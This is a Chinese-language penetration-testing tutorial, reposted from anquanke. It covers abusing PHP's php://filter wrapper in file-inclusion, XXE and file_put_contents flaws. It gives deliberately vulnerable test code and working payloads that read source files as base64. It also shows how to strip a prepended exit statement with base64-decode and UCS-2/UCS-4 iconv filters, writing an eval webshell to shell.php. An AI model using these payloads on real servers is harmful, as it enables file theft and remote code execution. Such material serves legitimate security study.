探索php://filter在实战当中的奇技淫巧(下)

摘要: 在渗透测试或漏洞挖掘的过程中,我们经常会遇到php://filter结合其它漏洞比如文件包含、文件读取、反序列化、XXE等进行组合利用,以达到一定的攻击效果,拿到相应的服务器权限。

文件包含

在文件包含漏洞当中,因为php://filter可以对所有文件进行编码处理,所以常常可以使用php://filter来包含读取一些特殊敏感的文件(配置文件、脚本文件等)以辅助后面的漏洞挖掘。

测试代码

<?php
    $file  = $_GET['file'];    
    include($file);
?>

漏洞利用

利用条件:无

利用姿势1

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。同时也能够对网站源码进行审计。

利用姿势2

index.php?file=php://filter/convert.base64-encode/resource=index.php

效果跟前面一样,只是少了个read关键字,在绕过一些waf时也许有用。

XXE Encode

由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name 。其原因是,PHP是基于标签的脚本语言,这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。

那么,为了读取包含有敏感信息的PHP等源文件,可以将“可能引发冲突的PHP代码”编码一遍,然后再显示,这样就不会出现冲突。

这个时候可以使用php://filter协议作为中间流将XXE读取的文件进行base64编码处理之后再显示。

payload:

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./xxe.php" >

Bypass file_put_contents Exit

关于代码终结者<?php exit; ?>想必大家在漏洞挖掘中写入shell的时候经常会遇到,在这样的情况下无论写入的shell是否成功都不会执行传入的恶意代码,因为在恶意代码执行之前程序就已经结束退出了,导致shell后门利用失败。

实际漏洞挖掘当中主要会遇到以下两种限制:

  • 写入shell的文件名和内容不一样(前后变量不同)

  • 写入shell的文件名和内容一样(前后变量相同)

针对以上不同的限制手法所利用的姿势与技巧也不太一样,当然利用的难度也会不一样(第二种相对第一种利用较复杂)。

下面就针对死亡exit限制手法进行探索与绕过。

Bypass-相同变量

针对写入shell的文件名和内容不一样的时候,进行探索绕过

测试代码

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
?>

代码分析

分析代码可以看到,$content在开头增加了exit,导致文件运行直接退出!!

在这种情况下该怎么绕过这个限制呢,思路其实也很简单我们只要将content前面的那部分内容使用某种手段(编码等)进行处理,导致php不能识别该部分就可以,下面介绍探索的几种利用绕过手法。

Bypass-转换过滤器

在上面的介绍中我们知道php://filterconvert.base64-encodeconvert.base64-decode使用这两个过滤器等同于分别用 base64_encode()和 base64_decode()函数处理所有的流数据。

在代码中可以看到$_POST['filename']是可以控制协议的,既然可以控制协议,那么我们就可以使用php://filter协议的转换过滤器进行base64编码与解码来绕过限制。所以我们可以将$content内容进行解码,利用php base64_decode函数特性去除“exit”。

Bypass

$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符< ? ; > 空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有”phpexit”和我们传入的其他字符。

由于,”phpexit”一共7个字符,但是base64算法解码时是4个byte一组,所以我们可以随便再给他添加一个字符(Q)就可以,这样”phpexitQ”被正常解码,而后面我们传入的webshell的base64内容也被正常解码,这样就会将<?php exit; ?>这部分内容给解码掉,从而不会影响我们写入的webshell。

  • payload

http://192.33.6.145/test.phpPOST
txt=QPD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B&filename=php://filter/write=convert.base64-decode/resource=shell.php
base64decode组成
phpe xitQ PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+
  • 载荷效果

从服务器上可以看到已经生成shell.php,同时<?php exit; ?>这部分已经被解码掉了。

Bypass-不同变量

针对写入shell的文件名和内容一样的时候,进行探索绕过。

有了上面第一种情况的绕过与利用姿势,那么在第二种条件限制情况下,可以在第一种的手法上进行拓展探索利用。

测试代码

<?php
$a = $_GET[a];
file_put_contents($a,'<?php exit();'.$a)
?>

这段代码在ThinkPHP5.0.X反序列化中出现过,利用其组合才能够得到RCE。有关ThinkPHP5.0.x的反序列化这里就不说了,主要是探索如何利用php://filter绕过该限制写入shell后门得到RCE的过程。

代码分析

分析代码可以看到,这种情况下写入的文件,其文件名和文件部分内容一致,这就导致利用的难度大大增加了,不过最终目的还是相同的:去除死亡exit写入shell后门。

针对这种限制手法,我们可以在上面第一种Bypass手法的基础上进行拓展挖掘。

convert.base64

在上面不同变量利用base64构造payload的基础上,可以针对相同变量再次构造相应payload,在文件名中包含,满足正常解码就可以。

  • 构造payload

a=php://filter/write=convert.base64-decode/resource=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+.php
//注意payload中的字符'+'在浏览器中需要转换为%2B
但是这样构造发现是不可以的,因为构造的payload里面包含’=’符号,而base64解码的时候如果字符’=’后面包含有其他字符则会报错。

下面进行测试验证

>>> base64.b64decode("PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+")
>>> base64.b64decode("PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+=")
>>> base64.b64decode("PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+=q")

从测试的结果来看base64解码的时候字符’=’后面确实不能包含有其他字符,因为该字符在base64编码当中是作为填充字符出现的。

那么能不能尝试把字符等号去掉,分析payload可以把字符串write=去掉减少一个等号,但是字符串resource=里面的等号不能去掉,也就导致该payload构造失败。

既然这种方法不可以那么就可以试试探索其它方法(下面在讲述convert.iconv.*的时候会讲述怎么绕过base64解码时字符’=’的限制)

convert.iconv.*

关于convert.iconv.*的详细介绍可以看上面对php://filter的介绍。

对于iconv字符编码转换进行绕过的手法,其实类似于上面所述的base64编码手段,都是先对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;去除,而我们的恶意代码正常解码存储。

下面具体看一下有哪些组合手法可以来Bypass exit

UCS-2

UCS-2编码转换

image.png

通过UCS-2方式,对目标字符串进行2位一反转(这里的2LE和2BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-2中2的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了

  • 构造payload

image.png

  • 载荷效果

从请求和服务器查看结果可以看到构造的payload执行传入恶意代码后门webshell成功。

UCS-4

UCS-4编码转换

image.png

通过UCS-4方式,对目标字符串进行4位一反转(这里的4LE和4BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-4中4的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了

  • 构造payload

image.png

  • 载荷效果

从请求和服务器查看结果可以看到构造的payload执行传入恶意代码后门webshell成功。

当然这种方法(UCS-2/4)对于上面讲述的第一种情况前后不同变量也是一样适用的。

总结

这里提到了关于php://filter常用的过滤器利用与组合利用的手法来进行漏洞挖掘或者Bypass,当然php://filter还有其他的过滤器是可以用的,不过思路都是一样的,都是通过某种利用组合达到一定的目的。


原文地址:https://www.anquanke.com/post/id/202510#h2-12

上一篇:闲谈Webshell实战应用
下一篇:探索php://filter...